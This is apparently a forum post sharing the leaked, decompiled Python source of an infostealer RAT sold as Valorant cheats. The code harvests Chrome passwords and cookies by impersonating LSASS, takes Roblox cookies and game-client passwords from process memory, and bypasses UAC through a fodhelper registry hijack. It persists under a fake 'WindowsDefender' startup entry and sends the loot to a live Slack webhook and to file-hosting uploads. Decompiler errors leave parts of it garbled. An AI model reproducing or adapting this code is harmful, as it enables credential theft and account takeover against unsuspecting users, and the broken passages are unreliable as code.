discussion Rixo Valorant Cheats Diye adlandırılan rat source leak

[bnefelix]

import os
import json
import re
import base64
import tempfile
import requests
import time
import random
import string
import socket
import platform
from Cryptodome.Cipher import AES, ChaCha20_Poly1305
import ctypes
import psutil
import pymem
import win32crypt
from datetime import datetime, timezone
import mss
import threading
import winreg
import subprocess
import zipfile
import sys
import shutil
import urllib3
from concurrent.futures import ThreadPoolExecutor, as_completed
from ctypes import wintypes
import sqlite3
import pathlib
import binascii
import io
import struct
from contextlib import contextmanager
import traceback
try:
import windows
import windows.crypto
import windows.generated_def as gdef
except ImportError:
windows = None
gdef = None
try:
from shadowcopy import shadow_copy
except ImportError:
shadow_copy = None
try:
import browser_cookie3
except ImportError:
browser_cookie3 = None
SLACK_WEBHOOK_URL = 'https://hooks.slack.com/services/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'
def send_slack_message(text=None, blocks=None, attachments=None):
# ***<module>.send_slack_message: Failure: Different bytecode
try:
data = {}
if text:
data['text'] = text
if blocks:
data['blocks'] = blocks
if attachments:
data['attachments'] = attachments
res = requests.post(SLACK_WEBHOOK_URL, json=data, timeout=30, verify=False)
log_message(f'Slack response: {res.status_code} - {res.text}')
return res.status_code == 200
except Exception as e:
log_message(f'Slack send error: {e}')
return False
def get_ip_info(ip):
# ***<module>.get_ip_info: Failure: Different bytecode
try:
res = requests.get(f'http://ip-api.com/json/{ip}', timeout=10, verify=False).json()
country = res.get('country', 'Bilinmiyor')
country_code = res.get('countryCode', '').lower()
flag = f':flag-{country_code}:' if country_code else ''
return (flag, country)
except:
return ('', 'Bilinmiyor')
def upload_to_slack_helper(file_path):
# irreducible cflow, using cdg fallback
# ***<module>.upload_to_slack_helper: Failure: Compilation Error
if os.path.exists(file_path):
filename = os.path.basename(file_path)
log_message(f'Uploading {filename} to Catbox...')
with open(file_path, 'rb') as f:
res = requests.post('https://catbox.moe/user/api.php', data={'reqtype': 'fileupload'}, files={'fileToUpload': f}, timeout=60, verify=False)
if res.status_code == 200 and res.text.strip().startswith('http'):
link = res.text.strip()
attachments = [{'color': '#2eb67d', 'blocks': [{'type': 'section', 'text': {'type': 'mrkdwn', 'text': f' *Dosya Yüklendi:* `{filename}`'}, 'accessory': {'type': 'button', 'text': {'type': 'plain_text', 'text': ' İndir', 'emoji': True}, 'url': link, 'action_id': 'download_link'}}]}]
send_slack_message(attachments=attachments)
return True
log_message(f'Falling back to file.io for {filename}...')
with open(file_path, 'rb') as f:
res = requests.post('https://file.io', files={'file': f}, timeout=60, verify=False)
if res.status_code == 200:
content = res.text.strip()
if content and content.startswith('{'):
resp_json = res.json()
link = resp_json.get('link')
if link:
attachments = [{'color': '#2eb67d', 'blocks': [{'type': 'section', 'text': {'type': 'mrkdwn', 'text': f' *Dosya Yüklendi (Yedek):* `{filename}`'}, 'accessory': {'type': 'button', 'text': {'type': 'plain_text', 'text': ' İndir'}, 'url': link}}]}]
send_slack_message(attachments=attachments)
return True
send_slack_message(text=f' *Dosya Yüklenemedi:* `{filename}` (Sunucu reddetti veya engelledi)')
return False
except Exception as e:
log_message(f'Catbox failed: {e}')
pass
except Exception as e:
log_message(f'Critical upload error: {e}')
send_slack_message(text=f' *Yükleme Hatası:* `{os.path.basename(file_path)}` - Sistem hatası.')
return False
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
SE_PRIVILEGE_ENABLED = 2
TOKEN_QUERY = 8
TOKEN_ADJUST_PRIVILEGES = 32
TOKEN_DUPLICATE = 2
TOKEN_IMPERSONATE = 4
SecurityImpersonation = 2
TokenImpersonation = 2
class LUID(ctypes.Structure):
_fields_ = [('LowPart', wintypes.DWORD), ('HighPart', wintypes.LONG)]
class LUID_AND_ATTRIBUTES(ctypes.Structure):
_fields_ = [('Luid', LUID), ('Attributes', wintypes.DWORD)]
class TOKEN_PRIVILEGES(ctypes.Structure):
_fields_ = [('PrivilegeCount', wintypes.DWORD), ('Privileges', LUID_AND_ATTRIBUTES * 1)]
def log_message(msg):
# ***<module>.log_message: Failure: Different bytecode
try:
print(f'[{datetime.now().strftime('%H:%M:%S')}] {msg}')
except:
return None
def add_to_startup():
# irreducible cflow, using cdg fallback
# ***<module>.add_to_startup: Failure: Compilation Error
key = winreg.HKEY_CURRENT_USER
registry_path = 'Software\\Microsoft\\Windows\\CurrentVersion\\Run'
with winreg.OpenKey(key, registry_path, 0, winreg.KEY_SET_VALUE) as reg_key:
current_file = os.path.abspath(sys.argv[0])
winreg.SetValueEx(reg_key, 'WindowsDefender', 0, winreg.REG_SZ, current_file)
return True
return True
except Exception as e:
return False
def get_roblox_data():
# irreducible cflow, using cdg fallback
# ***<module>.get_roblox_data: Failure: Compilation Error
user_profile = os.getenv('USERPROFILE', '')
path = os.path.join(user_profile, 'AppData', 'Local', 'Roblox', 'LocalStorage', 'robloxcookies.dat')
if not os.path.exists(path):
return None
with open(path, 'r', encoding='utf-8') as f:
data = json.load(f)
encoded = data.get('CookiesData', '')
if not encoded:
return
decrypted_bytes = win32crypt.CryptUnprotectData(base64.b64decode(encoded), None, None, None, 0)[1]
decrypted = decrypted_bytes.decode('utf-8', errors='ignore')
lines = []
for cookie in decrypted.replace('\n', '').split(';'):
cookie = cookie.strip()
if cookie.startswith('#HttpOnly_'):
cookie = cookie[len('#HttpOnly_'):]
if cookie:
lines.append(cookie)
return '\n'.join(lines)
except Exception:
return None
class EnvironmentCheck:
def __init__(self):
self.target_paths = [os.path.join(os.environ['USERPROFILE'], 'AppData', 'Roaming', '.craftrise'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Roaming', '.minecraft'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Roaming', 'discord'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Roaming', '.sonoyuncu'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Roaming', 'Opera Software', 'Opera GX Stable'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Telegram Desktop')]
def check_environment(self):
# ***<module>.EnvironmentCheck.check_environment: Failure: Different control flow
try:
for path in self.target_paths:
if os.path.exists(path):
pass
else:
return True
except Exception:
return True
return False
class SonoyuncuStealer:
def __init__(self):
# ***<module>.SonoyuncuStealer.__init__: Failure: Different bytecode
self.kernel32, self.user32 = (ctypes.WinDLL('kernel32'), ctypes.WinDLL('user32'))
self.desktop_name, self.hidden_desktop, self.process_info = ('HiddenDesktop', None, None)
self.sonoyuncu_app_path = os.path.expandvars('%APPDATA%') + '/.sonoyuncu/sonoyuncuclient.exe'
self.sonoyuncu_config_path = os.path.expandvars('%APPDATA%') + '/.sonoyuncu/config.json'
def launch_application_hidden(self):
# ***<module>.SonoyuncuStealer.launch_application_hidden: Failure: Different bytecode
try:
class STARTUPINFO(ctypes.Structure):
# ***<module>.SonoyuncuStealer.launch_application_hidden.STARTUPINFO: Failure: Different bytecode
_fields_ = [('cb', wintypes.DWORD), ('lpReserved', wintypes.LPWSTR), ('lpDesktop', wintypes.LPWSTR), ('lpTitle', wintypes.LPWSTR), ('dwX', wintypes.DWORD), ('dwY', wintypes.DWORD), ('dwXSize', wintypes.DWORD), ('dwYSize', wintypes.DWORD), ('dwXCountChars', wintypes.DWORD), ('dwYCountChars', wintypes.DWORD), ('dwFillAttribute', wintypes.WORD), ('wShowWindow', ctypes.POINTER(wintypes.BYTE)), ('hStdInput', wintypes.HANDLE), ('hStdOutput', wintypes.HANDLE), ('hStdError', wintypes.HANDLE)]
class PROCESS_INFORMATION(ctypes.Structure):
_fields_ = [('hProcess', wintypes.HANDLE), ('hThread', wintypes.HANDLE), ('dwProcessId', wintypes.DWORD), ('dwThreadId', wintypes.DWORD)]
startup_info = STARTUPINFO()
startup_info.cb, startup_info.lpDesktop, startup_info.dwFlags, startup_info.wShowWindow = (ctypes.sizeof(STARTUPINFO), self.desktop_name, 1, 0)
process_info = PROCESS_INFORMATION()
if not self.kernel32.CreateProcessW(None, self.sonoyuncu_app_path, None, None, False, 134217728, None, None, ctypes.byref(startup_info), ctypes.byref(process_info)):
if self.hidden_desktop:
self.user32.CloseDesktop(self.hidden_desktop)
else:
return process_info
except Exception as e:
return None
return None
def create_hidden_desktop(self):
try:
return self.user32.CreateDesktopW(self.desktop_name, None, None, 0, 268435808, None)
except Exception as e:
return None
def get_user_data(self):
# irreducible cflow, using cdg fallback
# ***<module>.SonoyuncuStealer.get_user_data: Failure: Compilation Error
username = self.get_username()
if not username:
return
self.hidden_desktop = self.create_hidden_desktop()
if self.hidden_desktop:
self.process_info = self.launch_application_hidden()
if self.process_info:
password = self.extract_memory_credentials(self.process_info.dwProcessId)
if password:
return (username, password)
self.cleanup(self.process_info.dwProcessId)
self.cleanup(self.process_info.dwProcessId)
except Exception:
return None
def extract_memory_credentials(self, process_id):
# irreducible cflow, using cdg fallback
# ***<module>.SonoyuncuStealer.extract_memory_credentials: Failure: Compilation Error
start_time = time.time()
if time.time() - start_time < 10:
pass
else:
return ''
process_memory = pymem.Pymem(process_id)
base_address = pymem.process.module_from_name(process_memory.process_handle, 'sonoyuncuclient.exe').lpBaseOfDll
password = self.try_multiple_offsets(process_memory, base_address)
if password:
return password
return None
except Exception as e:
time.sleep(0.1)
return None
def get_username(self):
# irreducible cflow, using cdg fallback
# ***<module>.SonoyuncuStealer.get_username: Failure: Compilation Error
if os.path.exists(self.sonoyuncu_config_path):
with open(self.sonoyuncu_config_path, 'r', encoding='utf-8') as f:
return json.load(f).get('userName', '')
return ''
return ''
except Exception as e:
return ''
def try_multiple_offsets(self, pm, base_address):
for offset in [1878448]:
try:
decoded_data = pm.read_bytes(base_address + offset, 256).decode('utf-8', 'ignore')
password = self.extract_password_from_data(decoded_data)
if password:
return password
except Exception as e:
pass
return ''
def extract_password_from_data(self, data):
# irreducible cflow, using cdg fallback
# ***<module>.SonoyuncuStealer.extract_password_from_data: Failure: Compilation Error
for pattern in ['[A-Za-z0-9._\\-@+#$%^&*=!?~\\\'\\\",\\\\|/:<>[\\]{}()]{4,50}', '[A-Za-z0-9!@#$%^&*()_+\\-=\\[\\]{};\\\':\"\\\\|,.<>/?]{4,30}']:
for match in re.findall(pattern, data):
if len(match) >= 4:
<code object LUID at 0x703b27eb7b30, file "sa.py", line 151> = any((True if c.isalpha() for c in match)((c.isalpha() for c in match)))
continue
<code object LUID at 0x703b27eb7b30, file "sa.py", line 151> = any((True if c.isalnum() for c in match)((c.isalnum() for c in match)))
return match
return ''
def cleanup(self, process_id):
# ***<module>.SonoyuncuStealer.cleanup: Failure: Different bytecode
try:
psutil.Process(process_id).terminate()
except Exception as e:
pass
if self.process_info:
try:
self.kernel32.CloseHandle(self.process_info.hProcess)
self.kernel32.CloseHandle(self.process_info.hThread)
except Exception as e:
pass
if self.hidden_desktop:
try:
self.user32.CloseDesktop(self.hidden_desktop)
except Exception as e:
return None
def get_sonoyuncu_credentials(self):
if not os.path.exists(self.sonoyuncu_app_path):
return ' Yok'
else:
credentials = self.get_user_data()
if credentials:
username, password = credentials
return f' Sonoyuncu\n Nick: {username}\n Şifre: {password}'
else:
return self.get_sonoyuncu_username_only()
def get_sonoyuncu_username_only(self):
# irreducible cflow, using cdg fallback
# ***<module>.SonoyuncuStealer.get_sonoyuncu_username_only: Failure: Compilation Error
if os.path.exists(self.sonoyuncu_config_path):
with open(self.sonoyuncu_config_path, 'r', encoding='utf-8') as f:
config_data = json.load(f)
username = config_data.get('userName', '').strip()
if username:
return f' Sonoyuncu\n Nick: {username}\n Şifre: Alınamadı'
return ' Yok'
except Exception:
return ' Yok'
class UACBypass:
_attempted = False
def __init__(self):
# ***<module>.UACBypass.__init__: Failure: Different bytecode
try:
self.startupinfo = subprocess.STARTUPINFO()
self.startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
self.startupinfo.wShowWindow = subprocess.SW_HIDE
self.script_path = os.path.abspath(sys.argv[0])
self.result = {'status': 'unknown', 'method': '', 'error': ''}
self.active_processes = []
self.silent_mode = True
except Exception as e:
self.result = {'status': 'failed', 'method': '', 'error': f'Init error: {str(e)}'}
def restore_settings(self, reg_paths):
# ***<module>.UACBypass.restore_settings: Failure: Different bytecode
if isinstance(reg_paths, str):
reg_paths = [reg_paths]
for reg_path in reg_paths:
try:
winreg.DeleteKey(winreg.HKEY_CURRENT_USER, reg_path)
except Exception:
pass
def verify_process(self):
# irreducible cflow, using cdg fallback
# ***<module>.UACBypass.verify_process: Failure: Compilation Error
script_name = os.path.basename(sys.argv[0]).lower()
for process in psutil.process_iter(['name', 'cmdline']):
if process.info['name']:
if 'python' in process.info['name'].lower():
cmdline = process.info.get('cmdline', [])
if cmdline and (not any((script_name in str(arg).lower() for arg in cmdline))):
if not is_admin():
return True
return False
except Exception:
continue
except Exception:
return False
def get_running_script_pids(self):
# ***<module>.UACBypass.get_running_script_pids: Failure: Different bytecode
current_pid = os.getpid()
script_name = os.path.basename(sys.argv[0]).lower()
script_path_lower = os.path.abspath(sys.argv[0]).lower()
pids = []
for process in psutil.process_iter(['name', 'cmdline', 'pid']):
try:
if process.info['pid'] == current_pid:
continue
else:
if process.info['name']:
if 'python' in process.info['name'].lower():
cmdline = process.info.get('cmdline', [])
if cmdline:
cmdline_str = ' '.join((str(arg).lower() for arg in cmdline))
if script_name in cmdline_str or script_path_lower in cmdline_str:
pids.append(process.info['pid'])
except (psutil.NoSuchProcess, psutil.AccessDenied, Exception):
continue
return pids
def _try_method(self, method, script_path, initial_pids):
# irreducible cflow, using cdg fallback
# ***<module>.UACBypass._try_method: Failure: Compilation Error
command_key = method.get('command_key', method['reg_path'])
command_values = method.get('command_values', method['values'])
with winreg.CreateKey(winreg.HKEY_CURRENT_USER, command_key) as key:
for name, value in command_values:
winreg.SetValueEx(key, name, 0, winreg.REG_SZ, value)
if 'CurVer' in method['reg_path']:
with winreg.CreateKey(winreg.HKEY_CURRENT_USER, method['reg_path']) as key:
for name, value in method['values']:
winreg.SetValueEx(key, name, 0, winreg.REG_SZ, value)
if method.get('backup', False):
backup_key = 'Software\\Classes\\ms-settings\\Shell\\Open\\command'
with winreg.CreateKey(winreg.HKEY_CURRENT_USER, backup_key) as key:
winreg.SetValueEx(key, '', 0, winreg.REG_SZ, f'\"{sys.executable}\" \"{script_path}\" --elevated')
winreg.SetValueEx(key, 'DelegateExecute', 0, winreg.REG_SZ, '')
si = subprocess.STARTUPINFO()
si.dwFlags |= subprocess.STARTF_USESHOWWINDOW
si.wShowWindow = subprocess.SW_HIDE
process = subprocess.Popen([method['trigger']], startupinfo=si, shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, stdin=subprocess.DEVNULL, creationflags=subprocess.CREATE_NO_WINDOW)
self.active_processes.append(process)
max_wait_time = method.get('timeout', 5)
check_interval = 0.15
start_time = time.time()
if time.time() - start_time < max_wait_time:
if is_admin():
self._cleanup_reg(method, command_key)
self.result['status'] = 'success'
self.result['method'] = f'UAC Bypass - {method['name']}'
return True
current_pids = set(self.get_running_script_pids())
new_pids = current_pids - initial_pids
if new_pids:
time.sleep(0.8)
if is_admin():
self._cleanup_reg(method, command_key)
self.result['status'] = 'success'
self.result['method'] = f'UAC Bypass - {method['name']}'
return True
time.sleep(check_interval)
self._cleanup_reg(method, command_key)
return False
except Exception:
try:
self._cleanup_reg(method, command_key)
except:
pass
else:
return False
def _cleanup_reg(self, method, command_key):
cleanup_paths = [command_key]
if 'CurVer' in method['reg_path']:
cleanup_paths.append(method['reg_path'])
if method.get('backup', False):
cleanup_paths.append('Software\\Classes\\ms-settings\\Shell\\Open\\command')
self.restore_settings(cleanup_paths)
def verify_elevation(self, script_path):
method = {'reg_path': 'Software\\Classes\\ms-settings\\Shell\\Open\\command', 'values': [('', f'\"{sys.executable}\" \"{script_path}\" --elevated'), ('DelegateExecute', '')], 'trigger': 'fodhelper.exe', 'name': 'FodHelper_Silent', 'timeout': 5}
initial_pids = set(self.get_running_script_pids())
return self._try_method(method, script_path, initial_pids)
def initialize(self):
# irreducible cflow, using cdg fallback
# ***<module>.UACBypass.initialize: Failure: Compilation Error
if UACBypass._attempted:
time.sleep(1)
if is_admin():
self.result['status'] = 'success'
if not self.result.get('method'):
self.result['method'] = 'UAC Bypass - FodHelper_Silent'
run_cookie_extraction()
return True
else:
return False
else:
if is_admin():
run_cookie_extraction()
return True
else:
UACBypass._attempted = True
script_path = os.path.abspath(sys.argv[0])
if self.verify_elevation(script_path):
self.result['status'] = 'success'
if not self.result.get('method'):
self.result['method'] = 'UAC Bypass - FodHelper_Silent'
uac_status_file = os.path.join(os.environ.get('TEMP', os.path.expandvars('%TEMP%')), 'uac_bypass_status.json')
with open(uac_status_file, 'w') as f:
json.dump(self.result, f)
for _ in range(12):
time.sleep(0.5)
if is_admin():
time.sleep(0.5)
sys.exit(0)
time.sleep(1)
if is_admin():
sys.exit(0)
return False
if self.result.get('status') == 'unknown':
self.result['status'] = 'failed'
if not self.result.get('error'):
self.result['error'] = 'UAC bypass attempt failed'
return False
except Exception as e:
self.result['status'] = 'failed'
self.result['error'] = f'Execution error: {str(e)}'
return False
def is_admin():
try:
return ctypes.windll.shell32.IsUserAnAdmin()!= 0
except Exception:
return False
def create_zip_with_outputs(output_folder, zip_path):
# irreducible cflow, using cdg fallback
# ***<module>.create_zip_with_outputs: Failure: Compilation Error
os.makedirs(os.path.dirname(zip_path), exist_ok=True)
with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zipf:
for root, dirs, files in os.walk(output_folder):
for file in files:
try:
file_path = os.path.join(root, file)
arcname = os.path.relpath(file_path, output_folder)
zipf.write(file_path, arcname)
except Exception:
pass
else:
pass
except Exception as e:
log_message(f'create_zip_with_outputs failed: {e}')
@contextmanager
def impersonate_lsass():
# ***<module>.impersonate_lsass: Failure: Different bytecode
advapi32 = ctypes.windll.advapi32
kernel32 = ctypes.windll.kernel32
token = wintypes.HANDLE()
impersonation_token = wintypes.HANDLE()
h_process = None
original_thread_token = wintypes.HANDLE()
success = False
try:
h_current_token = wintypes.HANDLE()
if advapi32.OpenProcessToken(kernel32.GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, ctypes.byref(h_current_token)):
luid = LUID()
if advapi32.LookupPrivilegeValueW(None, 'SeDebugPrivilege', ctypes.byref(luid)):
tp = TOKEN_PRIVILEGES()
tp.PrivilegeCount = 1
tp.Privileges[0].Luid = luid
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED
advapi32.AdjustTokenPrivileges(h_current_token, False, ctypes.byref(tp), 0, None, None)
kernel32.CloseHandle(h_current_token)
lsass_pid = (-1)
for proc in psutil.process_iter(['name']):
if proc.info['name'].lower() == 'lsass.exe':
lsass_pid = proc.pid
break
if lsass_pid!= (-1):
h_process = kernel32.OpenProcess(4096, False, lsass_pid)
if h_process and advapi32.OpenProcessToken(h_process, TOKEN_QUERY | TOKEN_DUPLICATE, ctypes.byref(token)) and advapi32.DuplicateTokenEx(token, TOKEN_QUERY | TOKEN_IMPERSONATE | TOKEN_DUPLICATE, None, SecurityImpersonation, TokenImpersonation, ctypes.byref(impersonation_token)) and advapi32.SetThreadToken(None, impersonation_token):
log_message('LSASS Impersonation SUCCESS')
success = True
yield success
except Exception as e:
log_message(f'impersonate_lsass error: {e}')
yield False
finally:
if success:
advapi32.SetThreadToken(None, None)
if impersonation_token:
kernel32.CloseHandle(impersonation_token)
if token:
kernel32.CloseHandle(token)
if h_process:
kernel32.CloseHandle(h_process)
def parse_key_blob(blob_data: bytes) -> dict:
# ***<module>.parse_key_blob: Failure: Different bytecode
try:
buffer = io.BytesIO(blob_data)
parsed_data = {}
header_len = struct.unpack('<I', buffer.read(4))[0]
buffer.read(header_len)
content_len = struct.unpack('<I', buffer.read(4))[0]
parsed_data['flag'] = buffer.read(1)[0]
if parsed_data['flag'] in [1, 2]:
parsed_data['iv'] = buffer.read(12)
parsed_data['ciphertext'] = buffer.read(32)
parsed_data['tag'] = buffer.read(16)
return parsed_data
else:
if parsed_data['flag'] == 3:
parsed_data['encrypted_aes_key'] = buffer.read(32)
parsed_data['iv'] = buffer.read(12)
parsed_data['ciphertext'] = buffer.read(32)
parsed_data['tag'] = buffer.read(16)
return parsed_data
else:
raise ValueError(f'Unsupported flag: {parsed_data['flag']}')
except Exception:
return {}
def byte_xor(ba1, ba2):
try:
return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)])
except Exception:
return b''
def decrypt_with_cng(input_data):
# irreducible cflow, using cdg fallback
# ***<module>.decrypt_with_cng: Failure: Compilation Error
ncrypt = ctypes.windll.ncrypt
ncrypt.NCryptOpenStorageProvider.restype = wintypes.DWORD
ncrypt.NCryptOpenStorageProvider.argtypes = [ctypes.POINTER(wintypes.HANDLE), wintypes.LPCWSTR, wintypes.DWORD]
ncrypt.NCryptOpenKey.restype = wintypes.DWORD
ncrypt.NCryptOpenKey.argtypes = [wintypes.HANDLE, ctypes.POINTER(wintypes.HANDLE), wintypes.LPCWSTR, wintypes.DWORD, wintypes.DWORD]
ncrypt.NCryptDecrypt.restype = wintypes.DWORD
ncrypt.NCryptDecrypt.argtypes = [wintypes.HANDLE, ctypes.c_void_p, wintypes.DWORD, ctypes.c_void_p, ctypes.c_void_p, wintypes.DWORD, ctypes.POINTER(wintypes.DWORD), wintypes.DWORD]
ncrypt.NCryptFreeObject.restype = wintypes.DWORD
ncrypt.NCryptFreeObject.argtypes = [wintypes.HANDLE]
hProvider = wintypes.HANDLE()
provider_name = 'Microsoft Software Key Storage Provider'
status = ncrypt.NCryptOpenStorageProvider(ctypes.byref(hProvider), provider_name, 0)
if status!= 0:
log_message(f'NCryptOpenStorageProvider failed: {hex(status & 4294967295)}')
return b''
else:
hKey = wintypes.HANDLE()
key_name = 'Google Chromekey1'
status = ncrypt.NCryptOpenKey(hProvider, ctypes.byref(hKey), key_name, 0, 0)
if status!= 0:
log_message(f'NCryptOpenKey failed: {hex(status & 4294967295)}')
ncrypt.NCryptFreeObject(hProvider)
return b''
pcbResult = wintypes.DWORD(0)
status = ncrypt.NCryptDecrypt(hKey, input_data, len(input_data), None, None, 0, ctypes.byref(pcbResult), 64)
if status!= 0:
log_message(f'NCryptDecrypt (size check) failed: {hex(status & 4294967295)}')
pass
if hKey:
ncrypt.NCryptFreeObject(hKey)
if hProvider:
ncrypt.NCryptFreeObject(hProvider)
buffer_size = pcbResult.value
output_buffer = (ctypes.c_ubyte * buffer_size)()
status = ncrypt.NCryptDecrypt(hKey, input_data, len(input_data), None, output_buffer, buffer_size, ctypes.byref(pcbResult), 64)
if status!= 0:
log_message(f'NCryptDecrypt (actual) failed: {hex(status & 4294967295)}')
else:
return bytes(output_buffer[cbResult.value])
pass
ncrypt.NCryptFreeObject(hKey) if hKey else None
ncrypt.NCryptFreeObject(hProvider) if hProvider else b''
except Exception as e:
log_message(f'decrypt_with_cng exception: {e}')
return b''
def derive_v20_master_key(parsed_data: dict) -> bytes:
# ***<module>.derive_v20_master_key: Failure: Different bytecode
if parsed_data['flag'] == 1:
aes_key = bytes.fromhex('B31C6E241AC846728DA9C1FAC4936651CFFB944D143AB816276BCC6DA0284787')
cipher = AES.new(aes_key, AES.MODE_GCM, nonce=parsed_data['iv'])
else:
if parsed_data['flag'] == 2:
chacha20_key = bytes.fromhex('E98F37D7F4E1FA433D19304DC2258042090E2D1D7EEA7670D41F738D08729660')
cipher = ChaCha20_Poly1305.new(key=chacha20_key, nonce=parsed_data['iv'])
else:
if parsed_data['flag'] == 3:
xor_key = bytes.fromhex('CCF8A1CEC56605B8517552BA1A2D061C03A29E90274FB2FCF59BA4B75C392390')
with impersonate_lsass():
decrypted_aes_key = decrypt_with_cng(parsed_data['encrypted_aes_key'])
if not decrypted_aes_key:
raise ValueError('decrypt_with_cng returned empty key')
else:
xored_aes_key = byte_xor(decrypted_aes_key, xor_key)
cipher = AES.new(xored_aes_key, AES.MODE_GCM, nonce=parsed_data['iv'])
else:
raise ValueError('Unsupported flag in derive_v20_master_key')
return cipher.decrypt_and_verify(parsed_data['ciphertext'], parsed_data['tag'])
def get_master_key(path):
# irreducible cflow, using cdg fallback
# ***<module>.get_master_key: Failure: Compilation Error
is_admin = False
try:
is_admin = ctypes.windll.shell32.IsUserAnAdmin()!= 0
except:
pass
log_message(f'--- get_master_key START: {path} ---')
log_message(f'Current Identity: {('Administrator' if is_admin else 'Standard User')}')
log_message(f'Windows module available: {windows is not None}')
if not os.path.exists(path):
log_message('Local State path does not exist.')
return None
try:
with open(path, 'r', encoding='utf-8') as f:
local_state = json.load(f)
except Exception as e:
log_message(f'Local State JSON load FAILED: {e}')
return None
if 'os_crypt' not in local_state:
log_message('\'os_crypt\' key missing in Local State.')
return None
os_crypt = local_state['os_crypt']
keys = {}
if 'app_bound_encrypted_key' in os_crypt:
raw_b64 = os_crypt['app_bound_encrypted_key']
key_blob_encrypted = base64.b64decode(raw_b64)
log_message(f'App-Bound key found. B64 Decoded len: {len(key_blob_encrypted)}. Header: {key_blob_encrypted[:4].hex()}')
if key_blob_encrypted.startswith(b'APPB'):
key_blob_encrypted = key_blob_encrypted[4:]
key_blob_user_decrypted = None
log_message('Attempting two-stage extraction (SYSTEM -> USER)')
with impersonate_lsass() as imp_success:
if imp_success:
res = win32crypt.CryptUnprotectData(key_blob_encrypted, None, None, None, 0)
if res and len(res) >= 2:
key_blob_system_decrypted = res[1]
log_message('Stage 1 (SYSTEM) DPAPI: SUCCESS')
res2 = win32crypt.CryptUnprotectData(key_blob_system_decrypted, None, None, None, 0)
if res2 and len(res2) >= 2:
key_blob_user_decrypted = res2[1]
log_message('Stage 2 (USER) DPAPI: SUCCESS')
if not key_blob_user_decrypted:
log_message('Trying user-only or deferred Stage 2 decryption...')
try:
target = key_blob_system_decrypted if 'key_blob_system_decrypted' in locals() else key_blob_encrypted
res3 = win32crypt.CryptUnprotectData(target, None, None, None, 0)
if res3 and len(res3) >= 2:
key_blob_user_decrypted = res3[1]
log_message('USER-only/Stage 2 outside: SUCCESS')
except Exception as e:
log_message(f'USER-only/Stage 2 outside FAILED: {e}')
if key_blob_user_decrypted:
parsed = parse_key_blob(key_blob_user_decrypted)
if parsed:
log_message(f'v20 Key Blob Parsed. Flag: {parsed.get('flag')}. deriving...')
m_key = derive_v20_master_key(parsed)
if m_key:
log_message('v20 Master Key derived: SUCCESS')
keys['v20'] = m_key
else:
log_message('parse_key_blob returned NULL data.')
v10_enc_key = os_crypt.get('encrypted_key') or os_crypt.get('encrypted_key_v10')
if v10_enc_key:
try:
m_key_enc = base64.b64decode(v10_enc_key)
log_message(f'Standard key found. Header: {m_key_enc[:5].hex()}')
if m_key_enc.startswith(b'DPAPI'):
m_key_enc = m_key_enc[5:]
decrypted = win32crypt.CryptUnprotectData(m_key_enc, None, None, None, 0)
if decrypted and len(decrypted) >= 2:
log_message('v10 Master Key extracted: SUCCESS')
keys['v10'] = decrypted[1]
except Exception as e:
log_message(f'v10 extraction FAILED: {e}')
log_message(f'get_master_key FINISHED. Keys found: {list(keys.keys())}')
if keys:
return keys
else:
return None
except Exception as e:
log_message(f'Stage 2 (USER) inside LSASS FAILED: {e}')
except Exception as e:
log_message(f'Stage 1 (SYSTEM) DPAPI FAILED: {e}')
except Exception as e:
log_message(f'Critical error in App-Bound block: {e}')
def decrypt_password(buff, key=None):
# irreducible cflow, using cdg fallback
# ***<module>.decrypt_password: Failure: Compilation Error
if not buff:
return ''
if not key:
if windows:
try:
return windows.crypto.dpapi.unprotect(buff).decode('utf-8', errors='ignore')
except:
pass
else:
pass
decrypted = win32crypt.CryptUnprotectData(buff, None, None, None, 0)
if decrypted and len(decrypted) >= 2:
return decrypted[1].decode('utf-8', errors='ignore')
return '[Çözülemedi]'
m_key = None
if isinstance(key, dict):
if buff.startswith(b'v20'):
m_key = key.get('v20')
else:
m_key = key.get('v10')
else:
m_key = key
if not m_key:
if buff.startswith(b'v20'):
return ''
else:
return ''
if buff.startswith(b'v10') or buff.startswith(b'v11') or buff.startswith(b'v20'):
if len(buff) < 15:
return '[Veri Çok Kısa]'
iv = buff[3:15]
payload = buff[15:]
ciphertext = payload[-16)]
tag = payload[(-16):]
cipher = AES.new(m_key, AES.MODE_GCM, nonce=iv)
decrypted = cipher.decrypt_and_verify(ciphertext, tag)
if len(decrypted) > 32 and buff.startswith(b'v20'):
return decrypted[32:].decode('utf-8', errors='ignore')
else:
return decrypted.decode('utf-8', errors='ignore')
if windows:
return windows.crypto.dpapi.unprotect(buff).decode('utf-8', errors='ignore')
decrypted = win32crypt.CryptUnprotectData(buff, None, None, None, 0)
if decrypted and len(decrypted) >= 2:
return decrypted[1].decode('utf-8', errors='ignore')
return '[Çözülemedi]'
return '[Çözülemedi]'
except Exception as e:
return f'[AES Error] {str(e)}'
except Exception:
return '[Çözülemedi]'
except Exception:
return '[Çözülemedi]'
def decrypt_cookie_v20(encrypted_value, key):
# irreducible cflow, using cdg fallback
# ***<module>.decrypt_cookie_v20: Failure: Compilation Error
if not encrypted_value:
return ''
else:
m_key = None
if isinstance(key, dict):
if encrypted_value.startswith(b'v20'):
m_key = key.get('v20')
else:
m_key = key.get('v10')
else:
m_key = key
if not m_key:
if encrypted_value.startswith(b'v20'):
return ''
else:
return decrypt_password(encrypted_value, None)
else:
if encrypted_value.startswith(b'v10') or encrypted_value.startswith(b'v11'):
return decrypt_password(encrypted_value, m_key)
if len(encrypted_value) < 15:
return '[Veri Çok Kısa]'
iv = encrypted_value[3:15]
ciphertext = encrypted_value[15-16)]
tag = encrypted_value[(-16):]
cipher = AES.new(m_key, AES.MODE_GCM, nonce=iv)
decrypted = cipher.decrypt_and_verify(ciphertext, tag)
if encrypted_value.startswith(b'v20') and len(decrypted) > 32:
return decrypted[32:].decode('utf-8', errors='ignore')
else:
return decrypted.decode('utf-8', errors='ignore')
except Exception as e:
